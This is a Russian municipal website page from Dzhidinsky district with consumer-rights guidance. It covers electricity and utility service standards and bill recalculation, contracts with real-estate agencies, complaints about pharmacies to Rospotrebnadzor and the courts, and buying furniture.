Муниципальное образование Джидинский район Республики Бурятия




Праздники России








Обратная связь с пользователями сайта




Правовое информирование



Филиал ФБУЗ "Центр гигиены и эпидемиологии в РБ" в Джидинском районе

Электроснабжение

Коммунальные услуги - осуществление деятельности исполнителя по подаче потребителям любого коммунального ресурса в отдельности или 2 и более из них в любом сочетании с целью обеспечения благоприятных и безопасных условий использования жилых, нежилых помещений, общего имущества в многоквартирном доме, а также земельных участков и расположенных на них жилых домов (домовладений).

Электроснабжение – снабжение электрической энергией, подаваемой по централизованным сетям электроснабжения и внутридомовым инженерным системам в жилой дом (домовладение), в жилые и нежилые помещения в многоквартирном доме, а также в помещения, входящие в состав общего имущества в многоквартирном доме.

Потребитель - лицо, пользующееся на праве собственности или ином законном основании помещением в многоквартирном доме, жилым домом, домовладением, потребляющее коммунальные услуги.

Исполнитель - юридическое лицо независимо от организационно-правовой формы или индивидуальный предприниматель, предоставляющие потребителю коммунальные услуги.

К отношениям между потребителем и исполнителем при предоставлении коммунальных услуг применяются положения Жилищного кодекса РФ, Правил предоставления коммунальных услуг собственникам и пользователям помещений в многоквартирных домах и жилых домов, утвержденных постановлением Правительства РФ от 06.05.2011 № 354 (далее - Правила), Закона РФ от 07.02.1992 № 2300-1 «О защите прав потребителей» и других нормативно- правовых актов.

Исполнитель обязан предоставлять потребителю коммунальные услуги в необходимых для него объемах и надлежащего качества в соответствии с требованиями законодательства РФ, Правилами и договором, содержащим положения о предоставлении коммунальных услуг.

При этом, Правилами установлены требования к качеству коммунальных услуг, в том числе требования к электроснабжению, а именно: бесперебойное круглосуточное электроснабжение в течение года; постоянное соответствие напряжения и частоты электрического тока требованиям законодательства Российской Федерации о техническом регулировании.

Следует обратить внимание на то, что существует допустимая продолжительность перерыва электроснабжения: 2 часа - при наличии двух независимых взаимно резервирующих источников питания (информацию о наличии резервирующих источников питания электрической энергией потребитель получает у исполнителя); 24 часа - при наличии 1 источника питания.

Примечание. Перерыв в предоставлении коммунальной услуги электроснабжения не допускается, если он может повлечь отключение сетей и оборудования, входящего в состав общего имущества в многоквартирном доме, в том числе насосного оборудования, автоматических устройств технологической защиты и иного оборудования, обеспечивающего безаварийную работу внутридомовых инженерных систем и безопасные условия проживания граждан.

Отклонение напряжения и (или) частоты электрического тока от требований законодательства Российской Федерации о техническом регулировании не допускается.

Исполнитель несет установленную законодательством РФ административную, уголовную или гражданско-правовую ответственность за:

- нарушение качества предоставления потребителю коммунальных услуг;

- вред, причиненный жизни, здоровью и имуществу потребителя вследствие нарушения качества предоставления коммунальных услуг, вследствие не предоставления потребителю полной и достоверной информации о предоставляемых коммунальных услугах;

- убытки, причиненные потребителю в результате нарушения исполнителем прав потребителей, в том числе в результате договора, содержащего условия, ущемляющие права потребителя по сравнению с Правилами;

- моральный вред (физические или нравственные страдания), причиненный потребителю вследствие нарушения исполнителем прав потребителей, предусмотренных жилищным законодательством РФ, в том числе Правилами.

Исполнитель, допустивший нарушение качества предоставления коммунальной услуги вследствие предоставления потребителю коммунальной услуги ненадлежащего качества и (или) с перерывами, превышающими установленную продолжительность, обязан произвести в соответствии с положениями Правил перерасчет потребителю размера платы за такую коммунальную услугу в сторону ее уменьшения вплоть до полного освобождения потребителя от оплаты такой услуги.

 Условия и порядок изменения размера платы за коммунальную услугу при предоставлении коммунальной услуги ненадлежащего качества и (или) с перерывами, превышающими установленную продолжительность

За каждый час превышения допустимой продолжительности перерыва электроснабжения, исчисленной суммарно за расчетный период, в котором произошло указанное превышение, размер платы за коммунальную услугу за такой расчетный период снижается на 0,15 процента размера платы, определенного за такой расчетный период в соответствии с приложением №2 к Правилам, с учетом положений раздела IX Правил.

За каждый час снабжения электрической энергией, не соответствующей требованиям законодательства Российской Федерации о техническом регулировании, суммарно в течение расчетного периода, в котором произошло отклонение напряжения и (или) частоты электрического тока от указанных требований, размер платы за коммунальную услугу за такой расчетный период снижается на 0,15 процента размера платы, определенного за такой расчетный период в соответствии с приложением №2 к Правилам, с учетом положений раздела IX Правил.

 

Действия потребителей в случаях предоставления коммунальных услуг ненадлежащего качества или с перерывами

- при обнаружении факта нарушения качества коммунальной услуги необходимо обратиться в аварийно-диспетчерскую службу (далее – АДС) устно (в том числе по телефону) или в письменной форме. Сотрудник АДС обязан сообщить потребителю сведения о лице, принявшем сообщение потребителя (ФИО), номер, за которым зарегистрировано сообщение потребителя, и время его регистрации;

- исполнитель обязан в течение суток проинформировать потребителей о причинах и предполагаемой продолжительности нарушения качества коммунальных услуг (если причины известны);

- в случае если сотруднику АДС исполнителя не известны причины нарушения качества коммунальной услуги, он обязан согласовать с потребителем дату и время проведения проверки факта нарушения;

- время проведения проверки назначается не позднее 2 часов с момента получения от потребителя сообщения о нарушении качества коммунальной услуги, если с потребителем не согласовано иное время;

- по окончании проверки составляется акт проверки с указанием периода нарушения предоставления коммунальной услуги, один экземпляр которого вручается потребителю;

- в случае не проведения исполнителем проверки в установленный срок потребитель вправе составить акт проверки качества предоставляемых коммунальных услуг в отсутствие исполнителя. В таком случае указанный акт подписывается не менее чем 2 потребителями и председателем совета многоквартирного дома (в котором не созданы товарищество или кооператив), и направляется исполнителю коммунальных услуг.

 

Обратите внимание! Потребитель вправе требовать с исполнителя уплаты неустоек (штрафов, пеней) в размере, указанном в Законе РФ "О защите прав потребителей", в следующих случаях:

- если исполнитель после заключения договора, содержащего положения о предоставлении коммунальных услуг, своевременно не приступил к предоставлению коммунальных услуг;

- если суммарное время перерывов в предоставлении коммунальных услуг за расчетный период превышает допустимые перерывы в предоставлении коммунальных услуг;

- если параметры напряжения и частоты в электрической сети в помещении потребителя не отвечают требованиям, установленным законодательством Российской Федерации;

- если в АДС отсутствует регистрация сообщения потребителя о нарушении качества предоставления коммунальных услуг или их непредставлении; в других случаях, предусмотренных договором.

 Но необходимо учитывать, что потребители, несвоевременно и (или) не полностью внесшие плату за жилое помещение и коммунальные услуги, обязаны уплатить кредитору пени в размере одной трехсотой ставки рефинансирования Центрального банка Российской Федерации, действующей на день фактической оплаты, от не выплаченной в срок суммы за каждый день просрочки начиная с тридцать первого дня, следующего за днем наступления установленного срока оплаты, по день фактической оплаты, произведенной в течение девяноста календарных дней со дня наступления установленного срока оплаты, либо до истечения девяноста календарных дней после дня наступления установленного срока оплаты, если в девяностодневный срок оплата не произведена. Начиная с девяносто первого дня, следующего за днем наступления установленного срока оплаты, по день фактической оплаты пени уплачиваются в размере одной стотридцатой ставки рефинансирования Центрального банка Российской Федерации, действующей на день фактической оплаты, от не выплаченной в срок суммы за каждый день просрочки. Увеличение установленных настоящей частью размеров пеней не допускается.

____________________________________________________________________________________________________________________


Оказание жилищно-коммунальных услуг

Коммунальные услуги (КУ) - осуществление деятельности исполнителя по подаче потребителям любого коммунального ресурса в отдельности или двух и более из них в любом сочетании с целью обеспечения благоприятных и безопасных условий использования жилых, нежилых помещений, общего имущества в многоквартирном доме, а также земельных участков и расположенных на них жилых домов (домовладений).

Потребитель - лицо, пользующееся на праве собственности или ином законном основании помещением в многоквартирном доме, жилым домом, домовладением, потребляющее коммунальные услуги.

Исполнитель - юридическое лицо независимо от организационно-правовой формы или индивидуальный предприниматель, предоставляющие потребителю коммунальные услуги.

Основными нормативно-правовыми актами, регулирующими сферу предоставления жилищно-коммунальных услуг являются:

  • Закон РФ от 07.02.1992 № 2300-1 «О защите прав потребителей»;
  • Жилищный кодекс РФ;
  • Постановление Правительства РФ от 06.05.2011 № 354 «О предоставлении коммунальных услуг собственникам и пользователям помещений в многоквартирных домах и жилых домов» (далее Правила предоставления коммунальных услуг);
  • Постановление Правительства РФ от 23.09.2010 № 731 «Об утверждении стандарта раскрытия информации организациями, осуществляющими деятельность в сфере управления многоквартирными домами».

 Потребитель имеет право:

1.     получать в необходимых объемах КУ надлежащего качества;

2.     получать от исполнителя сведения о правильности исчисления размера платы за КУ; о наличии (об отсутствии) задолженности или переплаты потребителя за КУ; о наличии оснований и правильности начисления исполнителем потребителю неустоек (штрафов, пеней);

3.     требовать от исполнителя проведения проверок качества предоставляемых КУ, оформления и предоставления акта проверки, акта об устранении выявленных недостатков;

4.     получать от исполнителя информацию, которую он обязан предоставить потребителю в соответствии с законодательством РФ и условиями договора управления многоквартирным домом;

5.     требовать уменьшения размера платы за КУ при предоставлении КУ ненадлежащего качества и (или) с перерывами, превышающими установленную продолжительность, а также за период временного отсутствия потребителя в занимаемом жилом помещении;

6.     требовать от исполнителя возмещения убытков и вреда, причиненного жизни, здоровью или имуществу потребителя вследствие предоставления КУ ненадлежащего качества и (или) с перерывами, превышающими установленную продолжительность, а также морального вреда;

7.     требовать от представителя исполнителя предъявления документов, подтверждающих его личность и наличие полномочий на доступ в жилое (нежилое) помещение потребителя для проведения проверок состояния проборов учета и совершения иных действий, предусмотренных Правилами предоставлении коммунальных услуг и договором управления многоквартирным домом.

8.     принимать решение об установке индивидуального, общего (квартирного) или комнатного прибора учета;

9.     осуществлять иные права, предусмотренные Жилищным кодексом РФ и иным законодательством РФ.


 Порядок действий при не предоставлении КУ или предоставлении КУ ненадлежащего качества


Потребителю необходимо обратиться в аварийно-диспетчерскую службу исполнителя для установления факта не предоставления КУ иди предоставления КУ ненадлежащего качества. Это обращение может быть как в письменной, так и в устной форме. При этом, сотрудник аварийно-диспетчерской службы, который принимает у потребителя заявку, должен сообщить ему свое имя, фамилию, отчество, регистрационный номер заявки и время ее приема. Если сотруднику неизвестны причины, по которым исполнитель перестал предоставлять услугу или начал предоставлять услугу ненадлежащего качества, он должен согласовать с потребителем дату и время, когда его квартиру посетят сотрудники исполнителя и удостоверятся в этом.

Время проведения проверки назначается не позднее двух часов с момента получения от потребителя сообщения, если с потребителем не согласовывалось иное время.

По результатам проверки составляется акт, который подписывается потребителем (или его представителем) и исполнителем (или его представителем).

В этом акте указываются нарушения установленных требований к параметрам качества, а также время и дата, когда услуги перестали предоставляться, либо начали предоставляться ненадлежащего качества.

Исполнитель ограничивает или приостанавливает предоставление КУ, предварительно уведомив об этом потребителя в письменном виде, в случае:

а) неполной оплаты потребителем КУ - через 30 дней после письменного предупреждения (уведомления) потребителя;

б) проведения планово-профилактического ремонта и работ по обслуживанию централизованных сетей инженерно-технического обеспечения и (или) внутридомовых инженерных систем, относящихся к общему имуществу собственников помещений в многоквартирном доме, - через 10 рабочих дней после письменного предупреждения (уведомления) потребителя.

Если потребитель не пользовался КУ более пяти полных календарных дней подряд, то исполнитель должен произвести перерасчет платы за КУ (горячее, холодное водоснабжение, водоотведение), если в жилом помещении не установлены индивидуальные приборы учета. Перерасчет размера платы за КУ по отоплению и газоснабжению на цели отопления жилых помещений в данном случае не производится.

Для осуществления перерасчета платы за КУ потребителем либо до начала периода временного отсутствия, либо в течение 30 дней после того, как он начал вновь пользоваться КУ после своего отсутствия, должно быть направлено соответствующее письменное заявление в адрес исполнителя. К нему необходимо приложить документы, которые подтвердят, что потребитель в течение определенного периода отсутствовал по месту жительства и не пользовался КУ (копия командировочного удостоверения (справка), заверенного по месту работы; справка о нахождении на лечении в лечебном учреждении; проездные документы, оформленные на имя потребителя или их копии; счета за проживание в гостинице (общежитии и т.д.) или их копии и иные документы, установленные Правилами предоставления коммунальных услуг).

ОБРАЩАЕМ ВАШЕ ВНИМАНИЕ!!!


Температуры воздуха в жилых помещениях должна быть - не ниже +18 °C (в угловых комнатах - +20 °C).

Температура горячей воды в точке разбора (из крана) должна составлять не менее 60 С. Давление при подаче холодной и горячей воды в точке разбора должно составлять не менее 0,03 МПа. Давление газа - от 0,0012 МПа до 0,003 МПа.

Допустимые перерывы:

1.     холодная и горячая вода: 8 часов (суммарно) в течение 1 месяца, 4 часа единовременно, при аварии - 24 часа подряд; 2 часа - при наличии двух независимых взаимно резервирующих источников питания, 24 часа - при наличии 1 источника питания; не более 24 часов (суммарно) в течение 1 месяца; не более 16 часов единовременно - при температуре воздуха в жилых помещениях от +12 °C; не более 8 часов единовременно - при температуре воздуха в жилых помещениях от +10 °C до +12 °C; не более 4 часов единовременно - при температуре воздуха в жилых помещениях от +8 °C до +10 °C; не более 4 часов (суммарно) в течение 1 месяца;

2.     водоотведения (канализация): допустимая продолжительность перерыва водоотведения: не более 8 часов (суммарно) в течение 1 месяца, 4 часа единовременно (в том числе при аварии).

Перерасчет оплаты коммунальных услуг в вышеуказанные перерывы не производится.

Любой потребитель в случае нарушения его прав при предоставлении КУ может обратиться с письменной жалобой в соответствующие надзорные органы:


  • Государственная жилищная инспекция (контроль за техническим состоянием жилищного фонда и его инженерного оборудования, сооружений и элементов инженерной и социальной инфраструктуры, мест общего пользования – состояние крыши, лестничных клеток, чердаков, подвалов, фундамента, несущих стен и др.; контроль за соблюдением нормативного уровня и режима обеспечения населения коммунальными услугами (отопление, электро-, водо-, газоснабжение, канализация);
  • Региональная служба по тарифам (контроль за порядком ценообразования и применения тарифов на жилищно-коммунальные услуги, организация проведения экспертизы обоснованности расчета тарифов организаций коммунального комплекса с привлечением соответствующих организаций);
  • Управление социальной защиты населения (вопросы предоставления льгот);
  • Органы местного самоуправления (ведение учета граждан в качестве нуждающихся в жилых помещениях, предоставляемых по договорам социального найма, предоставление в установленном порядке малоимущим гражданам по договорам социального найма жилых помещений муниципального жилищного фонда, согласование переустройства и перепланировки жилых помещений, признание в установленном порядке жилых помещений муниципального жилищного фонда непригодными для проживания и др.);
  • Управление Роспотребнадзора по субъекту Российской Федерации (территориальные отделы в административных округах).
  • Прокуратура (надзор за соблюдением законодательства).

Оказание жилищно-коммунальных услуг 07.10 [19 кб]

ноябрь [28 кб]

письмо от 31.10.2013 сибмит [276 кб]

письмо от 21.10.13 г. сибмит [297 кб]

11 [129 кб]

12 [194 кб]

33 [140 кб]




Золотые правила Потребителя при заключении договора с риэлтерским агентством

Обращения потребителей  риэлтерских услуг в органы надзора и иные организации с просьбой  оказать им юридическую помощь уже давно обычное явление. Суть большинства обращений сводится к неисполнению принятых на себя обязательств «Исполнителем» договора, в лице Агентства. Большая часть обращений приходится на услуги по подбору жилья предоставляемого в аренду. Возникает вопрос: «Что фактически позволяет «Исполнителю» услуг взимать плату, но услугу так и не оказывать?».

Сотрудники Консультационного центра по защите прав потребителей выделяют следующие причины данного явления:

1. Постоянно в договоре  не указывается его срок действия. Многим покажется, что данное условие очень заманчивое, однако это далеко не так. Если срок не указан, то «завтраки», так называемые пустые обещания нашим гражданам,  будут продолжаться, и заявить  о нарушении сроков вы уже не сможете;

2. Услуга ограничивается предоставлением адресов или контактных номеров потенциальных арендодателей (продавцов). Зачастую, хозяев данных вариантов невозможно найти либо встретиться с ними. Жилье может быть уже давно сдано в аренду или продано. Не стоит слепо доверять сотруднику фирмы, даже в том случае, если телефонный разговор с потенциальным арендодателем или продавцом жилья происходил в вашем присутствии. Вместо этого, укажите в «Предмете договора», что «Исполнитель» обязуется обеспечить встречу с потенциальным Арендодателем и удостовериться в заключении  договора Аренды, обеспечить юридическую чистоту сделки (например, предварительно проверив наличие права собственности на жилье);

3. В договоре не указываются индивидуальные запросы заказчика, например, благоустроенность жилья, количество комнат, примерное место расположения, этажность, наличие мебели и бытовой техники, телевидения и Интернета;

4. В последнее время, некоторые особо изобретательные исполнители такого рода «услуг», включают в договор твердую смету расходов. Это может означать, что если срок установлен, но еще не вышел, а вы уже передумали быть клиентом данной фирмы, деньги вам вернут не все. Фирма, с момента заключения с Вами договора, автоматически несет расходы, указанные в смете. Данное условие можно оспорить в суде, но никто и в этом случае не даст Вам гарантий положительного и быстрого исхода дела;

5. Многие бывшие клиенты данных агентств, обращавшихся ранее с просьбой о подборе им вариантов жилья предоставляемого в аренду, деньги свои так и не пытаются вернуть, мол, сами виноваты, на что и рассчитывают недобросовестные «Исполнители». Свое время и нервы многие оценивают выше стоимости услуги, а это примерно от 1500 до 2000 рублей.  

Исходя из вышеизложенного, делаем соответствующее заключение, каким же должен быть «правильно» составленный договор, при котором согласие потенциального «Исполнителя» может означать его добросовестность. Договор должен предусматривать следующие существенные условия: индивидуальные характеристики заказа; срок действия договора; предмет договора с подробно расписанным алгоритмом действий, с обязательным документальным подтверждением исполнения обязательств, а не формальное предоставление информации; смета может быть предусмотрена в договоре, главное, чтобы она отвечала требованиям разумности; ответственность сторон, согласно действующему закону о защите прав потребителей, неустойка за нарушение срока предоставления услуг составляет 3% от цены, за каждый день просрочки. И еще, проверьте чтобы в договоре была указана полная информация об сторонах договора и взаимное обязательство проинформировать друг друга, определенным способом о смене своего местонахождения или контактного телефона, в определенный срок (например СМС сообщением, либо электронной почтой). Не помешает условие, в котором отсутствие ответа «Исполнителя» на звонок или текстовое сообщение со стороны «Заказчика», расценивается как уклонение от исполнения обязательств и влечет за собой соответствующие последствия.  

Консультационный пункт по защите прав потребителей 

ФФБУЗ «Центр гигиены и эпидемиологии в РБ в Джидинском районе»

тел: 4-54-37




Внимание потребитель - статья [22 кб]

На колесах [27 кб]




КОГДА ПОСЕТИТЕЛИ АПТЕКИ ЖАЛУЮТСЯ...

Посетив аптеку, покупатель по тем или иным причинам может остаться недоволен обслуживанием, приобретенным товаром, иными нарушениями его прав как потребителя. При этом посетитель может направить жалобу как руководству самой аптеки, так и в соответствующие государственные органы. При этом право на обращение в государственные органы и к руководству самой аптеки должно быть разъяснено представителем продавца покупателю. Таким образом, рассмотрение возможных форм обращений граждан в те или иные инстанции в связи с недовольством посещением аптеки представляется необходимым и важным для сотрудников аптек.

В соответствии с Законом "О защите прав потребителей" <1> покупатели наделяются достаточно обширными правами в случае приобретения какого-либо товара у юридического лица или индивидуального предпринимателя. Особенно важными являются правомочия покупателя в случае нарушения его прав.

--------------------------------

<1> Закон РФ от 07.02.1992 N 2300-1 "О защите прав потребителей".

Более того, согласно ст. 3 Закона "О защите прав потребителей" на продавца возлагается обязанность по организации системы информирования потребителей об их правах и о необходимых действиях по защите этих прав.


Жалоба, адресованная самой аптеке

Для того чтобы права потребителя были реализованы, он вправе обратиться с претензией к представителю продавца. В этом случае ему необходимо указать, в чем выразилось нарушение его прав, и обозначить свои требования. Такая претензия может быть сделана в устной форме, если продавец согласен на ее удовлетворение. Если случай трудный, требует дополнительных исследований, специального рассмотрения со стороны продавца, то претензия обязательно должна быть составлена покупателем письменно. Такую претензию можно вручить непосредственно представителю продавца, оставив у себя копию претензионного письма с отметкой о том, что она была принята, либо направить по почте заказным письмом с уведомлением о вручении. Если обоснованная претензия не будет удовлетворена продавцом в течение срока, установленного Законом, либо в разумный срок, то потребитель может обратиться в суд. В случае получения продавцом претензии, которую он удовлетворять не обязан, ему рекомендуется направить покупателю мотивированный ответ. Потребитель вправе пойти в суд, и не обращаясь к продавцу, однако такое бывает достаточно редко. Заметим, что обращение к продавцу, равно как и его ответ покупателю, составляются в произвольной форме.


Обращение в суд

Обращение покупателя в суд осуществляется в порядке искового судопроизводства. Такие исковые заявления рассматриваются судами общей юрисдикции. При этом покупатель и в указанном случае наделяется большим объемом прав, чем обычный истец. Данные права касаются подсудности дел о защите прав потребителей. Так, иски о защите прав потребителей могут быть предъявлены по выбору истца в суд по месту:

- нахождения организации, а если ответчиком является индивидуальный предприниматель - его жительства;

- жительства или пребывания истца;

- заключения или исполнения договора.

Если иск к организации вытекает из деятельности ее филиала или представительства, он может быть предъявлен в суд по месту нахождения ее филиала или представительства.

Кроме того, потребители по искам, связанным с нарушением их прав, освобождаются от уплаты государственной пошлины в соответствии с законодательством РФ о налогах и сборах.

Во всем остальном соблюдаются общие правила искового судопроизводства. Заметим, что в судебном порядке потребителю не только возмещаются имущественный вред и убытки, но также может быть компенсирован и моральный вред.


Обращение в Роспотребнадзор

Порядок обращения

Кроме обращения непосредственно к продавцу или в суд, потребитель может воспользоваться процедурой рассмотрения споров в административном порядке и обратиться в соответствующий орган исполнительной власти. В настоящее время уполномоченным федеральным органом исполнительной власти, осуществляющим функции по контролю и надзору в сфере защиты прав потребителей и потребительского рынка, является Федеральная служба по надзору в сфере защиты прав потребителей и благополучия человека (Роспотребнадзор). Обращения потребителей в Роспотребнадзор должны составляться и направляться в соответствии с Законом "О порядке рассмотрения обращений граждан РФ" <2>.

--------------------------------

<2> Федеральный закон от 02.05.2006 N 59-ФЗ "О порядке рассмотрения обращений граждан Российской Федерации".


Согласно данному Закону предусматривается три формы обращения граждан в органы государственной власти: предложение, заявление, жалоба.

Формы обращения граждан в органы государственной власти:

- предложение - рекомендация гражданина по совершенствованию законов и иных нормативных правовых актов, деятельности государственных органов и органов местного самоуправления, развитию общественных отношений, улучшению социально-экономической и иных сфер деятельности государства и общества. В предложении потребитель может указать на те или иные недостатки действующего законодательства или правоприменительной практики;

- заявление - просьба гражданина о содействии в реализации его конституционных прав и свобод или конституционных прав и свобод других лиц, либо сообщение о нарушении законов и иных нормативных правовых актов, недостатках в работе государственных органов, органов местного самоуправления и должностных лиц, либо критика деятельности указанных органов и должностных лиц;

- жалоба - просьба гражданина о восстановлении или защите его нарушенных прав, свобод или законных интересов либо прав, свобод или законных интересов других лиц.

Важно обратить внимание на то, что только в таких формах обращения будут рассматриваться Роспотребнадзором. Иногда же потребители направляют претензию к продавцу, а ее копию - в Роспотребнадзор. Такой документ какого-либо значения для Роспотребнадзора не имеет и рассматриваться им не будет. На это Роспотребнадзор специально указывает в Письме от 25.09.2009 N 01/14264-9-32 "О поступлении в Роспотребнадзор претензий потребителей к продавцам (исполнителям)".


Требования к обращению

Гражданин в своем письменном обращении в обязательном порядке указывает либо наименование государственного органа или органа местного самоуправления, в который направляет письменное обращение, либо фамилию, имя, отчество соответствующего должностного лица, либо должность соответствующего лица, а также свои фамилию, имя, отчество (последнее - при наличии), почтовый адрес, по которому должны быть направлены ответ, уведомление о переадресации обращения, излагает суть предложения, заявления или жалобы, ставит личную подпись и дату. В случае необходимости в подтверждение своих доводов гражданин прилагает к письменному обращению документы и материалы либо их копии. Обращение может также быть направлено по информационным системам общего пользования: оно рассматривается в том же порядке, что и обычные письменные обращения.


Рассмотрение обращения

Письменное обращение, поступившее в государственный орган, орган местного самоуправления или должностному лицу в соответствии с их компетенцией, рассматривается в течение 30 дней со дня регистрации письменного обращения. В исключительных случаях, а также в случае направления запросов в другие организации руководитель государственного органа или органа местного самоуправления, должностное лицо либо уполномоченное на то лицо вправе продлить срок рассмотрения обращения не более чем на 30 дней, уведомив о продлении срока его рассмотрения гражданина, направившего обращение.

Государственный орган, орган местного самоуправления или должностное лицо по рассмотрении обращения дают письменный ответ по существу поставленных в обращении вопросов либо уведомляют гражданина о направлении его обращения на рассмотрение в другой государственный орган, орган местного самоуправления или иному должностному лицу в соответствии с их компетенцией.

Ответ на обращение подписывается руководителем государственного органа или органа местного самоуправления, должностным лицом либо уполномоченным на то лицом.


Личный прием граждан

Помимо обращения в письменной форме и с использованием электронных систем, гражданин вправе лично обратиться в тот или иной государственный либо муниципальный орган, к соответствующему должностному лицу. Не является исключением и Роспотребнадзор. Личный прием граждан в государственных органах, органах местного самоуправления проводится их руководителями и уполномоченными на то лицами. Информация о месте приема, а также об установленных для приема днях и часах доводится до сведения граждан. При личном приеме гражданин предъявляет документ, удостоверяющий его личность.

Содержание устного обращения заносится в карточку личного приема гражданина. В случае если изложенные в устном обращении факты и обстоятельства являются очевидными и не требуют дополнительной проверки, ответ на обращение с согласия гражданина может быть дан устно в ходе личного приема, о чем делается запись в карточке личного приема гражданина. В остальных случаях дается письменный ответ по существу поставленных в обращении вопросов.

Письменное обращение, принятое в ходе личного приема, подлежит регистрации и рассмотрению в порядке, установленном Законом.

В случае если в обращении содержатся вопросы, решение которых не входит в компетенцию данного государственного органа, органа местного самоуправления или должностного лица, гражданину дается разъяснение, куда и в каком порядке ему следует обратиться.

В ходе личного приема гражданину может быть отказано в дальнейшем рассмотрении обращения, если ему ранее был дан ответ по существу поставленных в обращении вопросов.


Осуществление защиты прав потребителей органами

местного самоуправления

В целях защиты прав потребителей на территории муниципального образования органы местного самоуправления вправе:

- рассматривать жалобы потребителей, консультировать их по вопросам защиты их прав;

- обращаться в суды в защиту прав потребителей, а также неопределенного круга потребителей.

При выявлении по жалобе потребителя товаров (работ, услуг) ненадлежащего качества, а также опасных для жизни, здоровья, имущества потребителей и окружающей среды они обязаны незамедлительно извещать об этом федеральные органы исполнительной власти, осуществляющие контроль за качеством и безопасностью товаров (работ, услуг).


Защита прав потребителей общественными объединениями

потребителей

Граждане вправе объединяться на добровольной основе в общественные объединения потребителей (их ассоциации, союзы), которые осуществляют свою деятельность в соответствии с уставами указанных объединений (их ассоциаций, союзов) и законодательством РФ.

Общественные объединения потребителей (их ассоциации, союзы) для осуществления своих уставных целей вправе:

- участвовать в разработке обязательных требований к товарам (работам, услугам), а также проектов законов и иных нормативных правовых актов РФ, регулирующих отношения в области защиты прав потребителей;

- проводить независимую экспертизу качества, безопасности товаров (работ, услуг), а также соответствия потребительских свойств товаров (работ, услуг) заявленной продавцами (изготовителями, исполнителями) информации о них;

- проверять соблюдение прав потребителей и правил торгового, бытового и иных видов обслуживания потребителей, составлять акты о выявленных нарушениях прав потребителей и направлять указанные акты для рассмотрения в уполномоченные органы государственной власти, а также информировать органы местного самоуправления о выявленных нарушениях, участвовать по просьбе потребителей в проведении экспертиз по фактам нарушения прав потребителей;

- распространять информацию о правах потребителей и о необходимых действиях по защите этих прав, о результатах сравнительных исследований качества товаров (работ, услуг), а также иную информацию, которая будет способствовать реализации прав и законных интересов потребителей. Публикуемые общественными объединениями потребителей (их ассоциациями, союзами) результаты сравнительных исследований качества товаров (работ, услуг) не являются рекламой;

- вносить в федеральные органы исполнительной власти, организации предложения о принятии мер по повышению качества товаров (работ, услуг), по приостановлению производства и реализации товаров (выполнения работ, оказания услуг), по отзыву с внутреннего рынка товаров (работ, услуг), не соответствующих предъявляемым к ним и установленным законодательством Российской Федерации о техническом регулировании обязательным требованиям;

- вносить в органы прокуратуры и федеральные органы исполнительной власти материалы о привлечении к ответственности лиц, осуществляющих производство и реализацию товаров (выполнение работ, оказание услуг), не соответствующих предъявляемым к ним обязательным требованиям, а также нарушающих права потребителей, установленные законами и иными нормативными правовыми актами РФ;

- обращаться в органы прокуратуры с просьбами принести протесты о признании недействительными актов федеральных органов исполнительной власти, актов органов исполнительной власти субъектов РФ и актов органов местного самоуправления, противоречащих законам и иным регулирующим отношения в области защиты прав потребителей нормативным правовым актам РФ;

- обращаться в суды с заявлениями в защиту прав потребителей и законных интересов отдельных потребителей, группы потребителей, неопределенного круга потребителей.


Защита прав и законных интересов неопределенного круга

потребителей

Роспотребнадзор, иные федеральные органы исполнительной власти и их территориальные органы, осуществляющие функции по контролю и надзору в области защиты прав потребителей и безопасности товаров (работ, услуг), органы местного самоуправления, общественные объединения потребителей, их ассоциации, союзы вправе предъявлять иски в суды о признании действий изготовителя, исполнителя, продавца, уполномоченной организации или уполномоченного индивидуального предпринимателя, импортера противоправными в отношении неопределенного круга потребителей и о прекращении этих действий.

При удовлетворении такого иска суд обязывает правонарушителя довести в установленный судом срок через средства массовой информации или иным способом до сведения потребителей решение суда.

Вступившее в законную силу решение суда о признании действий изготовителя, исполнителя, продавца, уполномоченной организации или уполномоченного индивидуального предпринимателя, импортера противоправными в отношении неопределенного круга потребителей обязательно для суда, рассматривающего иск потребителя о защите его прав, возникших вследствие наступления гражданско-правовых последствий действий изготовителя (исполнителя, продавца; уполномоченной организации или уполномоченного индивидуального предпринимателя, импортера), в части вопросов, имели ли место такие действия и совершены ли они изготовителем (исполнителем, продавцом, уполномоченной организацией или уполномоченным индивидуальным предпринимателем, импортером).

Совет эксперта. У граждан имеются обширные права по направлению различных жалоб и иных обращений в Роспотребнадзор, в суд, к самой аптеке. Информацией об обращениях необходимо владеть представителям аптек, поскольку за разъяснением своих прав могут обратиться покупатели, а также чтобы грамотно вести переговоры и выстраивать свои отношения с ними. Для этого рекомендуем снабдить аптеки соответствующей информационной базой: в "уголке потребителя" поместить не только Закон "О защите прав потребителей", но и Закон "О порядке рассмотрения обращений граждан РФ".

Одновременно с удовлетворением иска, предъявленного общественным объединением потребителей (их ассоциацией, союзом), органами местного самоуправления в интересах неопределенного круга потребителей, суд принимает решение о возмещении общественному объединению потребителей (их ассоциации, союзу), органам местного самоуправления всех понесенных по делу судебных издержек, а также иных возникших до обращения в суд и связанных с рассмотрением дела необходимых расходов, в том числе расходов на проведение независимой экспертизы в случае выявления в результате проведения такой экспертизы нарушения обязательных требований к товарам (работам, услугам).


Консультационный пункт по защите прав потребителей

ФФБУЗ «Центр гигиены и эпидемиологии в РБ в Джидинском районе»

8(301-37)4-54-37





Приобретаем новую мебель

При заключении договора на приобретение (изготовление) комплектов мебели должны быть документы:
договор купли-продажи мебели или подряда на изготовление мебели
лист замера
дизайн-проект
спецификация с полным перечнем элементов, их стоимостью и артикулом
кассовые чеки на оплату товара
договор на сборку и монтаж мебели
копии сертификатов безопасности на мебель, заверенные печатью продавца
паспорт на мебель
инструкция по эксплуатации и сборке мебели
При оформлении заказов на мебель существует два вида договоров. Договор подряда на изготовление мебели заключается с исполнителем, который сам и своими силами делает мебель, то есть имеет собственные производные мощности. Если же организация просто перекупает мебель у изготовителя или третьего лица, а сама ее не изготавливает, то с ней можно заключить только договор купли – продажи. От того какой именно договор подписал потребитель, зависит, какими правами он сможет воспользоваться.
При заказе комплектов мебели на дом к потребителю обязательно выезжает замерщик. Он должен составить лист замеров и ознакомить с ним покупателя. Тот в свою очередь обязан подписать этот документ. Замеры необходимо проводить в присутствии заказчика, поскольку по ходу дела могут возникнуть дополнительные вопросы. На основе листа замеров составляется дизайн-проект. Его подписывает представитель продавца (изготовителя) и заказчик.
